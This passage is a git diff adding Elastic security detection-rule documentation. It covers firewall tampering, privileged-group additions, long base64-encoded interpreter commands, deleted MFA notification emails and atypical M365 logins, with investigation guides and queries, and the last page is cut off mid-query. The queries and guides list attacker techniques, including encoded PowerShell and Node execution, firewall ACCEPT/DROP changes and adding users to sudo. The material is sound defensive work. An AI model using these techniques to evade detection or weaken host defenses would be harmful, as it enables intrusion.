a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-linux-firewall-rule-creation-or-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-linux-firewall-rule-creation-or-modification.asciidoc new file mode 100644 index 0000000000..32bb49a6b7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-linux-firewall-rule-creation-or-modification.asciidoc @@ -0,0 +1,199 @@ +[[prebuilt-rule-8-19-36-linux-firewall-rule-creation-or-modification]] +=== Linux Firewall Rule Creation or Modification + +Adversaries may create or modify Linux firewall rules with DROP, ACCEPT, or REJECT actions to affect how a host receives or sends network traffic. This activity may be used to bypass security controls, block defensive tooling, or gain unauthorized access to the network. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* endgame-* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* +* logs-auditd_manager.auditd-* +* auditbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Platform: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Auditd Manager +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Rule Type: Event Correlation (EQL) + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Linux Firewall Rule Creation or Modification* + + +This rule detects Linux firewall commands that create or modify DROP, ACCEPT, REJECT, deny, allow, or reject rules, which can weaken network controls, conceal malicious traffic, or open unauthorized access paths. An attacker with elevated privileges may add an ACCEPT rule permitting inbound SSH from a controlled address, then add DROP or REJECT rules that block connections to monitoring or management systems. + + +*Possible investigation steps* + + +- Review the full command line, execution user, privilege level, parent process, working directory, and related shell history to determine who initiated the change and whether it followed an approved administrative workflow. +- Reconstruct the resulting firewall policy and identify affected interfaces, protocols, ports, addresses, directions, and rule ordering to assess whether access was opened or security and management traffic was blocked. +- Compare the change with configuration-management activity, maintenance windows, change tickets, administrator baselines, and similar commands on peer hosts to distinguish expected operations from anomalous behavior. +- Correlate nearby authentication, process, file, and network events for suspicious logins, privilege escalation, remote-access tooling, firewall persistence changes, or connections newly enabled by the rule. +- If unauthorized, preserve the active ruleset and relevant telemetry, restore the approved policy through controlled procedures, isolate the host when necessary, and investigate the initiating account and adjacent systems for compromise. + + +*False positive analysis* + + +- An administrator may add or modify DROP, ACCEPT, REJECT, deny, allow, or reject rules during approved firewall maintenance; verify the command scope, initiating user, execution time, and corresponding change record. +- A startup script or configuration-management process may restore the approved firewall baseline after boot or deployment; confirm the parent process, command recurrence, and resulting ruleset match established host and peer baselines. + + +*Response and remediation* + + +- Isolate affected hosts from untrusted networks while preserving approved incident-response access, and block attacker-controlled addresses and newly exposed services at upstream firewalls. +- Preserve the active ruleset and relevant logs, then remove unauthorized DROP, ACCEPT, REJECT, deny, allow, or reject rules and restore the approved policy through configuration management. +- Remove firewall persistence from systemd units, cron jobs, startup scripts, network hooks, nftables configuration, iptables-persistent files, and UFW configuration. +- Revoke compromised credentials and active sessions, inspect for additional malware or privilege escalation, and reimage from a known-good source if root-level integrity cannot be established. +- Escalate immediately to incident response if the rules were created with root privileges, enabled unauthorized remote access, impaired monitoring, or appear on multiple systems. +- Harden the environment by restricting firewall administration through least privilege, enforcing reviewed ruleset baselines, securing configuration files, and alerting on future policy changes. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Additional data sources* + + +This rule also supports ECS-compatible process events from Elastic Endgame and the following integrations: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://www.elastic.co/docs/reference/integrations/auditd_manager[Auditd Manager] +- https://www.elastic.co/guide/en/beats/auditbeat/current/auditbeat-installation-configuration.html[Auditbeat] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +( + ( + process.name in ( + "iptables", "ip6tables", "iptables-nft", "ip6tables-nft", "iptables-legacy", + "ip6tables-legacy", "xtables-nft-multi", "xtables-legacy-multi" + ) and + process.args in ("-A", "--append", "-I", "--insert", "-R", "--replace", "-P", "--policy") and + process.args like~ ("DROP", "ACCEPT", "REJECT") + ) or + ( + process.name == "nft" and + process.args in ("add", "insert", "replace") and + process.args == "rule" and + process.args like~ ("DROP", "ACCEPT", "REJECT") and + not process.args in ("-c", "--check") + ) or + ( + process.name == "ufw" and + process.args like~ ("deny", "allow", "reject") and + not process.args in ("delete", "--dry-run") + ) +) and +not ( + process.parent.name in ("firewalld", "libvirtd") or + process.parent.executable like ( + "/usr/bin/dockerd", "/usr/libexec/podman/netavark", "/usr/bin/cilium-agent", "/run/k0s/containerd/io.containerd.runtime.v2.task/k8s.io/*/cilium-agent", + "/run/k3s/containerd/io.containerd.runtime.v2.task/k8s.io/*/cilium-agent", "/nix/store/*/docker/dockerd", "/usr/bin/fail2ban-server", "/usr/local/bin/dockerd", + "/usr/sbin/NetworkManager", "/usr/sbin/tailscaled", "/var/lib/rancher/rke2/*/kubelet" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify System Firewall +** ID: T1562.004 +** Reference URL: https://attack.mitre.org/techniques/T1562/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-linux-user-added-to-privileged-group.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-linux-user-added-to-privileged-group.asciidoc new file mode 100644 index 0000000000..0f0e2503a8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-linux-user-added-to-privileged-group.asciidoc @@ -0,0 +1,215 @@ +[[prebuilt-rule-8-19-36-linux-user-added-to-privileged-group]] +=== Linux User Added to Privileged Group + +Identifies attempts to add a user to a privileged group. Attackers may add users to a privileged group in order to establish persistence on a system. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Resources: Osquery + +*Version*: 118 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Linux User Added to Privileged Group* + + +The `usermod`, `adduser`, and `gpasswd` commands can be used to assign user accounts to new groups in Linux-based operating systems. + +Attackers may add users to a privileged group in order to escalate privileges or establish persistence on a system or domain. + +This rule identifies the usages of `usermod`, `adduser` and `gpasswd` to assign user accounts to a privileged group. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Investigate whether the user was successfully added to the privileged group. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} +- Retrieve information about the privileged group to which the user was added. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific Group","query":"SELECT * FROM groups WHERE groupname = {{group.name}}"}} +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- Adding accounts to a group is a common administrative task, so there is a high chance of the activity being legitimate. Before investigating further, verify that this activity is not benign. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Review the privileges assigned to the involved users to ensure that the least privilege principle is being followed. +- Delete the account that seems to be involved in malicious activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.executable != null and process.args in ( + "root", "admin", "wheel", "staff", "sudo","disk", "video", "shadow", "lxc", "lxd" +) and +( + process.name in ("usermod", "adduser") or + (process.name == "gpasswd" and process.args in ("-a", "--add", "-M", "--members")) +) and +not ( + (?process.parent.executable like ( + "/usr/lib/google/guest_agent/core_plugin", "/usr/libexec/platform-python*", + "/usr/lib/google/guest_agent/GuestAgentCorePlugin/core_plugin", "/usr/bin/google_guest_agent" + ) and ?process.parent.executable != null) or + ( + ?process.entry_leader.executable == "/usr/lib/venv-salt-minion/bin/python.original" and + ?process.entry_leader.args == "/usr/lib/venv-salt-minion/bin/salt-minion" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Local or Domain Groups +** ID: T1098.007 +** Reference URL: https://attack.mitre.org/techniques/T1098/007/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Local or Domain Groups +** ID: T1098.007 +** Reference URL: https://attack.mitre.org/techniques/T1098/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-long-base64-encoded-command-via-scripting-interpreter.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-long-base64-encoded-command-via-scripting-interpreter.asciidoc new file mode 100644 index 0000000000..ac586aef46 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-long-base64-encoded-command-via-scripting-interpreter.asciidoc @@ -0,0 +1,191 @@ +[[prebuilt-rule-8-19-36-long-base64-encoded-command-via-scripting-interpreter]] +=== Long Base64 Encoded Command via Scripting Interpreter + +Identifies oversized command lines used by Python, PowerShell, Node.js, or Deno that contain base64 decoding or encoded-command patterns. Adversaries may embed long inline encoded payloads in scripting interpreters to evade inspection and execute malicious content across Windows, macOS, and Linux systems. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* OS: macOS +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Profile: Recommended +* Threat: Encoding-Based Obfuscation +* Threat: Script-Based Execution +* Rule Type: ES|QL +* Platform: Windows +* Platform: Linux +* Platform: macOS + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Long Base64 Encoded Command via Scripting Interpreter* + + +This rule detects process start events where the original `process.command_line` field was ignored at index time due to +its size, but the full command line remains available in `process.command_line.text`. Attackers commonly use very long +base64-encoded inline commands with interpreters such as Python, PowerShell, Node.js, and Deno to conceal payloads and +avoid straightforward command-line inspection. + + +*Possible investigation steps* + + +- Review `process.command_line.text` to determine whether the encoded content includes shell commands, scripts, URLs, or embedded payloads. +- Inspect the parent process and execution chain to understand how the interpreter was launched and whether it originated from a browser, office application, archive utility, or remote access tool. +- Check whether the same host or user generated additional suspicious process, network, or file events around the same time. +- If the payload can be safely decoded in an isolated environment, inspect the decoded content for follow-on execution, credential access, persistence, or download behavior. + + +*False positive analysis* + + +- Administrative automation, packaging workflows, or developer tooling may legitimately pass large encoded blobs to scripting interpreters. +- PowerShell remoting, software deployment frameworks, or internal bootstrap scripts can occasionally use encoded commands; validate the source, user, and expected automation context. + + +*Response and remediation* + + +- Isolate the affected host if the decoded content or surrounding activity indicates malicious execution. +- Terminate the suspicious interpreter process and any spawned child processes. +- Preserve the full command line and related process tree for forensic analysis before making changes on the host. +- Reset or revoke any credentials, tokens, or secrets exposed by the decoded payload or subsequent attacker activity. + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-endpoint.events.process-* METADATA _id, _index, _version, _ignored +| MV_EXPAND _ignored +| WHERE _ignored == "process.command_line" +| WHERE event.category == "process" and event.type == "start" +| EVAL command_line = TO_LOWER(process.command_line.text), + pname = TO_LOWER(process.name) +| EVAL has_long_base64 = command_line RLIKE """.*[a-z0-9+/]{100,}={0,2}.*""" +| WHERE +( + ( + /* Python: decode primitive + plausible Base64 payload */ + pname LIKE "python*" AND + has_long_base64 AND + ( + command_line LIKE "*b64decode*" OR + (command_line LIKE "*-c*" AND command_line LIKE "*base64*") + ) AND NOT (process.parent.name == "codex" AND (command_line LIKE "*.write(base64.*" or command_line LIKE "*.write_bytes(base64*")) + ) OR + ( + /* PowerShell: encoded command or explicit Base64 decode + payload */ + (pname LIKE "powershell*" OR pname LIKE "pwsh*") AND + has_long_base64 AND + ( + command_line RLIKE """.* -(e|en|enc|enco|encod|encode|encoded|encodedcommand) .+""" OR + command_line LIKE "*-encodedcommand*" OR + command_line LIKE "*frombase64string*" + ) + ) OR + ( + /* Node.js */ + pname LIKE "node*" AND + has_long_base64 AND + ( + (command_line LIKE "*buffer.from*" AND command_line LIKE "*base64*") OR + command_line LIKE "*atob(*" + ) + ) OR + ( + /* Deno */ + pname LIKE "deno*" AND + has_long_base64 AND + ( + command_line LIKE "*atob(*" OR + (command_line LIKE "*buffer.from*" AND command_line LIKE "*base64*") OR + command_line LIKE "*eval(*" + ) + ) +) +| EVAL Esql.length_cmdline = LENGTH(command_line) +| WHERE Esql.length_cmdline >= 4000 +| DROP _ignored, pname, has_long_base64 +| KEEP @timestamp, _id, _version, _index, data_stream.namespace, + user.name, user.id, host.name, host.id, agent.id, + process.entity_id, process.executable, + process.parent.entity_id, process.parent.executable, + process.command_line.text, process.parent.command_line + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-m365-exchange-mfa-notification-email-deleted-or-moved.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-m365-exchange-mfa-notification-email-deleted-or-moved.asciidoc new file mode 100644 index 0000000000..8268240263 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-m365-exchange-mfa-notification-email-deleted-or-moved.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-36-m365-exchange-mfa-notification-email-deleted-or-moved]] +=== M365 Exchange MFA Notification Email Deleted or Moved + +Identifies when an MFA enrollment, registration, or security notification email is deleted or moved to deleted items in Microsoft 365 Exchange. Adversaries who compromise accounts and register their own MFA device often delete the notification emails to cover their tracks and prevent the legitimate user from noticing the unauthorized change. This technique is commonly observed in business email compromise (BEC) and account takeover attacks. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-o365.audit-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/expansion-shinyhunters-saas-data-theft + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Microsoft 365 +* Domain: Email +* Service: Microsoft Exchange Online + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 Exchange MFA Notification Email Deleted or Moved* + + +This rule detects when emails containing MFA enrollment or security notification keywords are deleted or moved to deleted items. Attackers who gain access to an account and register their own MFA device will often immediately delete the notification email to prevent the legitimate user from detecting the compromise. + + +*Possible Investigation Steps* + + +- Identify the user whose mailbox had the email deleted and determine if they recently enrolled a new MFA device. +- Review Azure AD sign-in logs for the user around the time of the deletion for authentication anomalies. +- Check Azure AD audit logs for recent MFA method registrations or changes for this user. +- Review the source IP address and determine if it matches the user's typical access patterns. +- Look for other suspicious mailbox activities from the same session (inbox rules, email forwarding). +- Determine if the user was aware of and initiated the MFA enrollment that generated the notification. + + +*False Positive Analysis* + + +- Users may legitimately delete MFA notification emails after reviewing and confirming the enrollment. +- Some organizations have mailbox rules that automatically organize or delete notification emails. +- Consider creating exceptions for users who frequently manage MFA enrollments (IT help desk). + + +*Response and Remediation* + + +- If unauthorized MFA enrollment is confirmed, immediately remove the attacker's MFA method from the account. +- Revoke all active sessions and refresh tokens for the affected user. +- Reset the user's credentials and require reauthentication. +- Review inbox rules for any malicious forwarding or deletion rules. +- Check for data exfiltration or other malicious activities during the compromise window. +- Implement conditional access policies to restrict MFA registration to trusted locations/devices. + + +==== Rule query + + +[source, js] +---------------------------------- +web where data_stream.dataset == "o365.audit" and + event.provider == "Exchange" and + event.action in ("SoftDelete", "HardDelete", "MoveToDeletedItems") and + event.outcome == "success" and + + /* Exclude server-side and automated Exchange processing */ + o365.audit.ClientInfoString != null and + not o365.audit.ClientInfoString like~ "Client=OwsBackground*" and + not (o365.audit.ClientInfoString == "Client=MSExchangeRPC" and ?o365.audit.AppId == null) and + + ( + o365.audit.AffectedItems.Subject like~ ( + /* new + (mfa|multi-|factor|method|device|security) */ + "*new mfa*", "*new multi*", "*new factor*", "*new method*", "*new device*", "*new security*", + /* 2fa and 2-step */ + "*2fa*", "*2-step*", + /* mfa + action verbs */ + "*mfa enroll*", "*mfa register*", "*mfa added*", "*mfa change*", + "*mfa verify*", "*mfa update*", "*mfa activate*", "*mfa configure*", "*mfa setup*", + /* factor + action verbs */ + "*factor enroll*", "*factor register*", "*factor added*", "*factor change*", + "*factor verify*", "*factor update*", "*factor activate*", "*factor configure*", "*factor setup*", + /* method + action verbs */ + "*method enroll*", "*method register*", "*method added*", "*method change*", + "*method verify*", "*method update*", "*method activate*", "*method configure*", "*method setup*", + /* device + action verbs */ + "*device enroll*", "*device register*", "*device added*", "*device change*", + "*device verify*", "*device update*", "*device activate*", "*device configure*", "*device setup*", + /* security + action verbs */ + "*security enroll*", "*security register*", "*security added*", "*security change*", + "*security verify*", "*security update*", "*security activate*", "*security configure*", "*security setup*", + /* Additional security notifications */ + "*authenticator*", "*verification code*", "*security info*", "*security alert*" + ) and not + o365.audit.AffectedItems.Subject like~ ("*sign-in*", "*sign in*", "*log-in*", "*log in*", "*logon*") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: Clear Mailbox Data +** ID: T1070.008 +** Reference URL: https://attack.mitre.org/techniques/T1070/008/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-m365-identity-login-from-atypical-region.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-m365-identity-login-from-atypical-region.asciidoc new file mode 100644 index 0000000000..b33278281c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-m365-identity-login-from-atypical-region.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-36-m365-identity-login-from-atypical-region]] +=== M365 Identity Login from Atypical Region + +Detects successful Microsoft 365 portal logins from a country and region the user has not previously authenticated from in a specific time window. Atypical regions are identified by combining the user's country and region geolocation history; an authentication from a new country/region pair for that user may indicate an adversary attempting to access the account from an unusual location or behind a VPN. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-15m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.huntress.com/blog/time-travelers-busted-how-to-detect-impossible-travel- + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Impossible Travel +* Rule Type: New Terms +* Platform: Microsoft 365 +* Domain: SaaS + +*Version*: 14 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Identity Login from Atypical Region* + + +Microsoft 365 is a cloud-based suite offering productivity tools accessible from anywhere, making it crucial for business operations. Adversaries may exploit this by logging in from uncommon regions, potentially using VPNs to mask their origin. The detection rule identifies successful logins from atypical country/region pairs for a given user, flagging potential unauthorized access attempts by analyzing login events and user location patterns at country and region granularity. + + +*Possible investigation steps* + + +- Review the user associated with these sign-ins to determine if the login attempt was legitimate or if further investigation is needed. +- Analyze the geographic locations of the logins to identify any patterns or anomalies that may indicate malicious activity. +- Review the ISP information for the login attempts to identify any unusual or suspicious providers. +- Review the authorization request type to understand the context of the login attempts and whether they align with the user's typical behavior. +- Analyze the client application used for the login attempts to determine if it is consistent with the user's normal usage patterns (Teams, Office, etc.) +- Analyze the user-agent associated with the login attempts to identify any unusual or suspicious patterns. These could also indicate mobile and endpoint logins causing false-positives. + + +*False positive analysis* + + +- Users traveling or using VPNs may trigger this alert. Verify with the user if they were traveling or using a VPN at the time of the login attempt. +- Mobile access may also result in false positives, as users may log in from various locations while on the go. + + +*Response and remediation* + + +- Investigate the login attempt further by checking for any additional context or related events that may provide insight into the user's behavior. +- If the login attempt is deemed suspicious, consider implementing additional security measures, such as requiring multi-factor authentication (MFA) for logins from unusual locations. +- Educate users about the risks of accessing corporate resources from unfamiliar locations and the importance of using secure connections (e.g., VPNs) when doing so. +- Monitor for any subsequent login attempts from the same location or IP address to identify potential patterns of malicious activity. +- Consider adding exceptions to this rule for the user or source application ID if the login attempts are determined to be legitimate and not a security concern. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and + event.provider:AzureActiveDirectory and + event.action:UserLoggedIn and event.outcome:success and + o365.audit.Target.Type:(0 or 2 or 3 or 5 or 6 or 10) and + o365.audit.UserId:(* 